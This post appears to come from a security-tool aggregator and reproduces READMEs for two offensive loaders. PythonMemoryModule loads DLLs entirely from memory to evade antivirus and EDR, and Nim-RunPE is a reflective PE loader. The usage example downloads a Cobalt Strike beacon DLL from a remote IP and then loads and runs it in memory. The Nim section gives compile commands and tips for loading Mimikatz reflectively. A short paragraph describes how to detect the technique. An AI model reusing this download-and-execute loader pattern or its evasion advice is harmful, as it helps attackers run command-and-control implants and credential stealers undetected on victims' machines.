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PythonMemoryModule - Pure-Python Implementation Of MemoryModule Technique To Load Dll And Unmanaged Exe Entirely From Memory

By: Zion3R


"Python memory module" AI generated pic - hotpot.ai


pure-python implementation of MemoryModule technique to load a dll or unmanaged exe entirely from memory

What is it

PythonMemoryModule is a Python ctypes porting of the MemoryModule technique originally published by Joachim Bauch. It can load a dll or unmanaged exe using Python without requiring the use of an external library (pyd). It leverages pefile to parse PE headers and ctypes.

The tool was originally thought to be used as a Pyramid module to provide evasion against AV/EDR by loading dll/exe payloads in python.exe entirely from memory, however other use-cases are possible (IP protection, pyds in-memory loading, spinoffs for other stealthier techniques) so I decided to create a dedicated repo.


Why it can be useful

  1. It basically allows to use the MemoryModule techinque entirely in Python interpreted language, enabling the loading of a dll from a memory buffer using the stock signed python.exe binary without requiring dropping on disk external code/libraries (such as pymemorymodule bindings) that can be flagged by AV/EDRs or can raise user's suspicion.
  2. Using MemoryModule technique in compiled languages loaders would require to embed MemoryModule code within the loaders themselves. This can be avoided using Python interpreted language and PythonMemoryModule since the code can be executed dynamically and in memory.
  3. you can get some level of Intellectual Property protection by dynamically in-memory downloading, decrypting and loading dlls that should be hidden from prying eyes. Bear in mind that the dlls can be still recovered from memory and reverse-engineered, but at least it would require some more effort by the attacker.
  4. you can load a stageless payload dll without performing injection or shellcode execution. The loading process mimics the LoadLibrary Windows API (which takes a path on disk as input) without actually calling it and operating in memory.

How to use it

In the following example a Cobalt Strike stageless beacon dll is downloaded (not saved on disk), loaded in memory and started by calling the entrypoint.

import urllib.request
import ctypes
import pythonmemorymodule
request = urllib.request.Request('http://192.168.1.2/beacon.dll')
result = urllib.request.urlopen(request)
buf=result.read()
dll = pythonmemorymodule.MemoryModule(data=buf, debug=True)
startDll = dll.get_proc_addr('StartW')
assert startDll()
#dll.free_library()

Note: if you use staging in your malleable profile the dll would not be able to load with LoadLibrary, hence MemoryModule won't work.

How to detect it

Using the MemoryModule technique will mostly respect the sections' permissions of the target DLL and avoid the noisy RWX approach. However within the program memory there will be a private commit not backed by a dll on disk and this is a MemoryModule telltale.

Future improvements

  1. add support for argument parsing.
  2. add support (basic) for .NET assemblies execution.


Nim-RunPE - A Nim Implementation Of Reflective PE-Loading From Memory


A Nim implementation of reflective PE-Loading from memory. The base for this code was taken from RunPE-In-Memory - which I ported to Nim.

You'll need to install the following dependencies:

nimble install ptr_math winim

I did test this with Nim Version 1.6.2 only, so use that version for testing or I cannot guarantee no errors when using another version.


Compile

If you want to pass arguments on runtime or don't want to pass arguments at all compile via:

nim c NimRunPE.nim

If you want to hardcode custom arguments modify const exeArgs to your needs and compile with:

nim c -d:args NimRunPE.nim - this was contributed by @glynx, thanks!

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More Information

The technique itself it pretty old, but I didn't find a Nim implementation yet. So this has changed now. :)



If you plan to load e.g. Mimikatz with this technique - make sure to compile a version from source on your own, as the release binaries don't accept arguments after being loaded reflectively by this loader. Why? I really don't know it's strange but a fact. If you compile on your own it will still work:


ย 

My private Packer is also weaponized with this technique - but all Win32 functions are replaced with Syscalls there. That makes the technique stealthier.



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